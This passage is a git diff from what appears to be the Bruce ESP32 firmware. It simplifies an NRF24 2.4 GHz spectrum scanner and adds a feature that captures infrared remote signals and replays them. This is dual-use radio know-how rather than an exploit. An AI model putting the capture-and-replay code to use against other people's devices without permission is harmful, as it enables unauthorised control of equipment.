+ SSPI.transfer((r & 0x1F) | 0x20);
+ SSPI.transfer(v);
+ digitalWrite(bruceConfigPins.NRF24_bus.cs, HIGH);
}
-/// Get x position and width for channel i, distributed proportionally
-static inline void getBarGeom(int i, int &x, int &w) {
- x = spec_marginL + (i * spec_drawW) / NRF_SPECTRUM_CHANNELS;
- int nextX = spec_marginL + ((i + 1) * spec_drawW) / NRF_SPECTRUM_CHANNELS;
- w = max(1, nextX - x);
-}
+inline void powerDown(SPIClass &SSPI) { setRegister(SSPI, 0x00, getRegister(SSPI, 0x00) & ~0x02); }
-// ── Scanning and drawing ────────────────────────────────────────
-String scanChannels(bool web) {
- String result = web ? "{" : "";
+// scanning channels
+#define _BW tftWidth / CHANNELS
+String scanChannels(SPIClass *SSPI, bool web) {
+ String result = "{";
- // Toggle CE low during channel switch
+ uint8_t rpdValues[CHANNELS] = {0};
digitalWrite(bruceConfigPins.NRF24_bus.io0, LOW);
- for (int i = 0; i < NRF_SPECTRUM_CHANNELS; i++) {
+ for (int i = 0; i < CHANNELS; i++) {
NRFradio.setChannel(i);
NRFradio.startListening();
- delayMicroseconds(170); // 130µs PLL settle + 40µs RPD sample window
+ delayMicroseconds(128);
NRFradio.stopListening();
int rpd = NRFradio.testRPD() ? 1 : 0;
-
- // EMA smoothing: fast attack, medium decay
- // Attack: signal instantly jumps to ~50 on first hit
- // Decay: drops ~25% per sweep when signal gone
- if (rpd) {
- channel[i] = (uint8_t)min(100, (int)((channel[i] + 100) / 2));
- deviceLabelTimer[i] = LABEL_DECAY_SWEEPS; // Reset label timer on active signal
- } else {
- channel[i] = (uint8_t)((channel[i] * 3) / 4);
- // Decay label timer when no signal
- if (deviceLabelTimer[i] > 0) { deviceLabelTimer[i]--; }
- }
-
- // Peak hold tracking
- if (channel[i] >= peakHold[i]) {
- peakHold[i] = channel[i];
- peakTimer[i] = PEAK_HOLD_SWEEPS;
- } else if (peakTimer[i] > 0) {
- peakTimer[i]--;
- } else {
- if (peakHold[i] > 2) peakHold[i] -= 2;
- else peakHold[i] = 0;
- }
+ channel[i] = (channel[i] * 3 + rpd * 125) / 4;
+ rpdValues[i] = channel[i];
}
digitalWrite(bruceConfigPins.NRF24_bus.io0, HIGH);
- // ── Draw spectrum bars ──────────────────────────────────────
- uint8_t maxLevel = 0;
- uint8_t maxCh = 0;
-
- for (int i = 0; i < NRF_SPECTRUM_CHANNELS; i++) {
- int x, w;
- getBarGeom(i, x, w);
+ for (int i = 0; i < CHANNELS; i++) {
+ int level = rpdValues[i];
+ int x = i * _BW;
+ int c = i;
- int level = channel[i];
- if (level > maxLevel) {
- maxLevel = level;
- maxCh = i;
- }
+ tft.drawFastVLine(
+ x, tftHeight - (10 + level), level, (i % 2 == 0) ? bruceConfig.priColor : TFT_DARKGREY
+ ); // for level display
- int barH = (level * spec_barAreaH) / 100;
- int peakH = (peakHold[i] * spec_barAreaH) / 100;
-
- // Grid line color (every 10 channels)
- uint16_t gridColor = (i % 10 == 0) ? TFT_DARKGREY : bruceConfig.bgColor;
-
- // Main bar area: clear above, draw bar from bottom
- if (barH < spec_barAreaH) { tft.fillRect(x, spec_barAreaY, w, spec_barAreaH - barH, gridColor); }
- if (barH > 0) {
- uint16_t barColor = getSpectrumColor(level);
- tft.fillRect(x, spec_barAreaY + spec_barAreaH - barH, w, barH, barColor);
- }
-
- // Peak hold marker (Mode 0 only): white line segment
- if (specDisplayMode == 0 && peakH > 0 && peakH >= barH) {
- int peakY = spec_barAreaY + spec_barAreaH - peakH;
- if (peakY >= spec_barAreaY && peakY < spec_barAreaY + spec_barAreaH) {
- tft.fillRect(x, peakY, w, 1, TFT_WHITE);
- }
- }
+ tft.drawFastVLine(
+ x, 0, tftHeight - (9 + level), (i % 8) ? TFT_BLACK : RGB565(25, 25, 25)
+ ); /// for clearing
+ tft.drawFastVLine(x, 0, level, bruceConfig.secColor); /// for top display
+ // show 5 channel gap only
+ if (c % 5 == 0 && c != 0) { tft.drawCentreString(String(c).c_str(), x, tftHeight / 2, 1); }
if (web) {
if (i > 0) result += ",";
@@ -185,98 +70,22 @@ String scanChannels(bool web) {
}
}
- // Show peak channel indicator at top-right
- if (maxLevel > 10) {
- tft.setTextSize(FP);
- tft.setTextColor(TFT_YELLOW, bruceConfig.bgColor);
- char peakBuf[12];
- snprintf(peakBuf, sizeof(peakBuf), "pk:%d", (int)maxCh);
- int pkW = 42;
- int pkY = 1;
- tft.fillRect(tftWidth - pkW - spec_marginL, pkY, pkW, 10, bruceConfig.bgColor);
- tft.drawRightString(peakBuf, tftWidth - spec_marginL - 2, pkY, 1);
- }
-
- // ── Draw device labels (Mode 2 only) ──────────────────────────
- if (specDisplayMode == 2) {
- // Group labels by channel and stack vertically
- int labelY = 2;
- for (int i = 0; i < NRF_SPECTRUM_CHANNELS; i++) {
- // Show label if signal present or timer still active
- if ((channel[i] > 10) || (deviceLabelTimer[i] > 0)) {
- DeviceType dev = getDeviceType(i);
-
- if (dev != DEV_NONE) {
- // Display known device label
- int x, w;
- getBarGeom(i, x, w);
- int labelX = x + w / 2; // Center on channel
-
- tft.setTextSize(FP);
- tft.setTextColor(deviceInfo[dev].labelColor, bruceConfig.bgColor);
- tft.drawCentreString(deviceInfo[dev].label, labelX, labelY, 1);
-
- labelY += 8; // Stack labels vertically
- if (labelY > tftHeight / 4) break; // Prevent overflow
- } else if (channel[i] > 10) {
- // Unknown device: show small "?" in gray
- int x, w;
- getBarGeom(i, x, w);
- int labelX = x + w / 2;
-
- tft.setTextSize(1); // Tiny font
- tft.setTextColor(TFT_DARKGREY, bruceConfig.bgColor);
- tft.drawCentreString("?", labelX, labelY, 1);
-
- labelY += 6;
- if (labelY > tftHeight / 5) break;
- }
- }
- }
- }
-
if (web) result += "}";
- return result;
+ return result; // return a string in this format "{1,32,45,32,84,32 .... 12,54,65}" with 80 values to be
+ // used in the WebUI (Future)
}
-void nrf_spectrum() {
+void nrf_spectrum(SPIClass *SSPI) {
tft.fillScreen(bruceConfig.bgColor);
-
- // Initialize data
- memset(channel, 0, sizeof(channel));
- memset(peakHold, 0, sizeof(peakHold));
- memset(peakTimer, 0, sizeof(peakTimer));
- memset(deviceLabelTimer, 0, sizeof(deviceLabelTimer));
- specDisplayMode = 0; // Start in mode 0
-
- // Calculate layout
- calcLayout();
-
- // Draw frequency labels at bottom
- tft.setTextSize(FP);
- tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
- int labelY = tftHeight - spec_footerH + 2;
- tft.drawString("2.400", spec_marginL, labelY, 1);
- tft.drawCentreString("2.462", tftWidth / 2, labelY, 1);
- tft.drawRightString("2.525", tftWidth - spec_marginL, labelY, 1);
-
- // Draw separator line
- tft.drawFastHLine(0, spec_barAreaY + spec_barAreaH + 1, tftWidth, TFT_DARKGREY);
-
- // Draw mode indicator
tft.setTextSize(FP);
- tft.setTextColor(bruceConfig.priColor, bruceConfig.bgColor);
- const char *modeStr[] = {"Mode:Peak", "Mode:Bar", "Mode:Dev"};
- tft.drawString(modeStr[specDisplayMode], spec_marginL, 2, 1);
+ tft.drawString("2.40Ghz", 0, tftHeight - LH);
+ tft.drawCentreString("2.44Ghz", tftWidth / 2, tftHeight - LH, 1);
+ tft.drawRightString("2.48Ghz", tftWidth, tftHeight - LH, 1);
- if (nrf_start(NRF_MODE_SPI)) {
- // Configure for wideband spectrum sensing
+ if (nrf_start(NRF_MODE_SPI)) { // This function only works on SPI
NRFradio.setAutoAck(false);
- NRFradio.disableCRC();
- NRFradio.setAddressWidth(2);
-
- // Open 6 reading pipes at noise-detection addresses
- // More pipes = higher sensitivity (radio checks all in parallel)
+ NRFradio.disableCRC(); // accept any signal we find
+ NRFradio.setAddressWidth(2); // a reverse engineering tactic (not typically recommended)
const uint8_t noiseAddress[][2] = {
{0x55, 0x55},
{0xAA, 0xAA},
@@ -286,27 +95,18 @@ void nrf_spectrum() {
{0xAD, 0xAA}
};
for (uint8_t i = 0; i < 6; ++i) { NRFradio.openReadingPipe(i, noiseAddress[i]); }
-
NRFradio.setDataRate(RF24_1MBPS);
- while (!check(EscPress)) {
- scanChannels();
-
- // SEL to cycle through modes
- if (check(SelPress)) {
- specDisplayMode = (specDisplayMode + 1) % 3;
- // Clear only spectrum bar area, preserve frequency labels at bottom
- tft.fillRect(0, spec_barAreaY, tftWidth, spec_barAreaH, bruceConfig.bgColor);
- delay(200);
- }
- }
-
+ while (!check(EscPress)) { scanChannels(SSPI); }
NRFradio.stopListening();
- NRFradio.powerDown();
+ powerDown(*SSPI);
delay(250);
+ return;
+
} else {
Serial.println("Fail Starting radio");
displayError("NRF24 not found");
delay(500);
+ return;
}
}
diff --git a/src/modules/ir/ir_read.cpp b/src/modules/ir/ir_read.cpp
index f54e60bde..8b0d9e43a 100644
--- a/src/modules/ir/ir_read.cpp
+++ b/src/modules/ir/ir_read.cpp
@@ -12,6 +12,7 @@
#include "core/mykeyboard.h"
#include "core/sd_functions.h"
#include "core/settings.h"
+#include "custom_ir.h"
#include "ir_utils.h"
#include
#include
@@ -57,6 +58,30 @@ IrRead::IrRead(bool headless_mode, bool raw_mode) {
}
bool quickloop = false;
+static String getParsedProtocolName(const decode_results &r) {
+ switch (r.decode_type) {
+ case decode_type_t::RC5:
+ return (r.command > 0x3F) ? "RC5X" : "RC5";
+ case decode_type_t::RC6:
+ return "RC6";
+ case decode_type_t::SAMSUNG:
+ return "Samsung32";
+ case decode_type_t::SONY:
+ if (r.address > 0xFF) return "SIRC20";
+ if (r.address > 0x1F) return "SIRC15";
+ return "SIRC";
+ case decode_type_t::NEC:
+ if (r.address > 0xFFFF) return "NEC42ext";
+ if (r.address > 0xFF1F) return "NECext";
+ if (r.address > 0xFF) return "NEC42";
+ return "NEC";
+ case decode_type_t::UNKNOWN:
+ return "";
+ default:
+ return typeToString(r.decode_type, r.repeat);
+ }
+}
+
void IrRead::setup() {
irrecv.enableIRIn();
@@ -88,12 +113,6 @@ void IrRead::setup() {
begin();
return loop();
} },
- {"FAN",
- [&]() {
- quickButtons = quickButtonsFAN;
- begin();
- return loop();
- } },
{"SOUND",
[&]() {
quickButtons = quickButtonsSOUND;
@@ -133,12 +152,21 @@ void IrRead::loop() {
#endif
break;
}
- if (check(NextPress)) save_signal();
- if (quickloop && button_pos == quickButtons.size()) save_device();
- if (check(SelPress)) save_device();
- if (check(PrevPress)) discard_signal();
- read_signal();
+ if (_emulate_mode) {
+ if (check(SelPress)) emulate_signal(); // OK = send again
+ if (check(NextPress)) { _emulate_mode = false; discard_signal(); } // NEXT = new signal
+ if (check(PrevPress)) { _emulate_mode = false; save_signal(); } // PREV = save signal
+ } else {
+ if (check(NextPress)) save_signal();
+ if (quickloop && button_pos == quickButtons.size()) save_device();
+ if (check(SelPress)) {
+ if (_read_signal) emulate_signal(); // OK on captured = emulate
+ else save_device(); // OK without signal = save device
+ }
+ if (check(PrevPress)) discard_signal();
+ read_signal();
+ }
}
}
@@ -178,11 +206,17 @@ void IrRead::display_banner() {
void IrRead::display_btn_options() {
tft.println("");
tft.println("");
- if (_read_signal) {
- padprintln("Press [PREV] to discard signal");
+ if (_emulate_mode) {
+ padprintln("Press [OK] to send again");
+ padprintln("Press [NEXT] for new signal");
+ padprintln("Press [PREV] to save signal");
+ } else if (_read_signal) {
+ padprintln("Press [OK] to emulate signal");
padprintln("Press [NEXT] to save signal");
+ padprintln("Press [PREV] to discard");
+ } else {
+ if (signals_read > 0) { padprintln("Press [OK] to save device"); }
}
- if (signals_read > 0) { padprintln("Press [OK] to save device"); }
padprintln("Press [ESC] to exit");
}
@@ -191,14 +225,22 @@ void IrRead::read_signal() {
_read_signal = true;
- // Always switches to RAW data, regardless of the decoding result
- raw = true;
+ // Prefer parsed mode when protocol is recognized and it is not an AC state.
+ // Fallback to RAW for unknown/stateful protocols.
+ raw = (results.decode_type == decode_type_t::UNKNOWN) || hasACState(results.decode_type);
display_banner();
// Dump of signal details
+ if (!raw) {
+ String proto = getParsedProtocolName(results);
+ padprintln("Protocol: " + (proto.length() ? proto : "UNKNOWN"));
+ padprintln("Bits: " + String(results.bits));
+ }
+
padprint("RAW Data Captured:");
String raw_signal = parse_raw_signal();
+ _captured_raw_signal = raw_signal; // store for immediate emulation
tft.println(
raw_signal.substring(0, 45) + (raw_signal.length() > 45 ? "..." : "")
); // Shows the RAW signal on the display
@@ -209,10 +251,44 @@ void IrRead::read_signal() {
void IrRead::discard_signal() {
if (!_read_signal) return;
+ _emulate_mode = false;
+ _captured_raw_signal = "";
irrecv.resume();
begin();
}
+void IrRead::emulate_signal() {
+ IRCode code;
+ if (raw) {
+ code.type = "raw";
+ code.frequency = IR_FREQUENCY;
+ code.data = _captured_raw_signal;
+ } else {
+ code.type = "parsed";
+ code.protocol = getParsedProtocolName(results);
+ code.address = uint32ToString(results.address);
+ code.command = uint32ToString(results.command);
+ code.bits = results.bits;
+ code.data = resultToHexidecimal(&results);
+ if (code.protocol == "") {
+ code.type = "raw";
+ code.frequency = IR_FREQUENCY;
+ code.data = _captured_raw_signal;
+ }
+ }
+ sendIRCommand(&code);
+ if (code.type == "parsed" &&
+ (code.protocol == "RC5" || code.protocol == "RC5X" || code.protocol == "RC6")) {
+ delay(35);
+ sendIRCommand(&code);
+ }
+ _emulate_mode = true;
+ display_banner();
+ tft.setTextSize(FP);
+ padprintln("Signal emulated!");
+ display_btn_options();
+}
+
void IrRead::save_signal() {
if (!_read_signal) return;
if (!quickloop) {
diff --git a/src/modules/ir/ir_read.h b/src/modules/ir/ir_read.h
index a8020435f..0349fd9d6 100644
--- a/src/modules/ir/ir_read.h
+++ b/src/modules/ir/ir_read.h
@@ -30,6 +30,8 @@ class IrRead {
private:
bool _read_signal = false;
+ bool _emulate_mode = false;
+ String _captured_raw_signal = "";
decode_results results;
uint16_t *rawcode;
uint16_t raw_data_len;
@@ -51,6 +53,7 @@ class IrRead {
/////////////////////////////////////////////////////////////////////////////////////
void begin();
void read_signal();
+ void emulate_signal();
void save_device();
void save_signal();
void discard_signal();
@@ -68,21 +71,18 @@ class IrRead {
std::vector quickButtonsAC = {
"POWER", "TEMP+", "TEMP-", "SPEED", "SWING", "SWING+", "SWING-", "JET", "UP", "DOWN", "MODE"
};
- std::vector quickButtonsFAN = {
- "POWER", "SPEED+", "SPEED-", "MODE", "TIMER", "SWING", "OSCILLATE", "UP", "DOWN", "LIGHT", "ION", "SLEEP"
- };
std::vector quickButtonsSOUND = {"POWER", "UP", "DOWN", "LEFT", "RIGHT",
"OK", "SOURCES", "VOL+", "VOL-", "MUTE",
"SETTINGS", "BACK", "EQ", "REC", "PLAY/PAUSE",
"STOP", "NEXT", "PREV", "SHUFFLE", "REPEAT"};
std::vector quickButtonsLED = {
"ON", "OFF", "BRIGHTNESS+", "BRIGHTNESS-",
- "RED", "GREEN", "BLUE", "WHITE",
+ "RED", "GREEN", "BLUE", "WHITE",
"ORANGE", "PEA_GREEN", "DARK_BLUE",
- "DARK_YELLOW", "CYAN", "PURPLE",
- "YELLOW", "LIGHT_BLUE", "MAGENTA",
- "LIGHT_YELLOW", "SKY_BLUE", "ROSE",
- "MODE_FLASH", "MODE_STROBE", "MODE_FADE", "MODE_SMOOTH"
+ "DARK_YELLOW", "CYAN", "PURPLE",
+ "YELLOW", "LIGHT_BLUE", "MAGENTA",
+ "LIGHT_YELLOW", "SKY_BLUE", "ROSE",
+ "MODE_FLASH", "MODE_STROBE", "MODE_FADE", "MODE_SMOOTH"
};
std::vector &quickButtons = quickButtonsTV;
};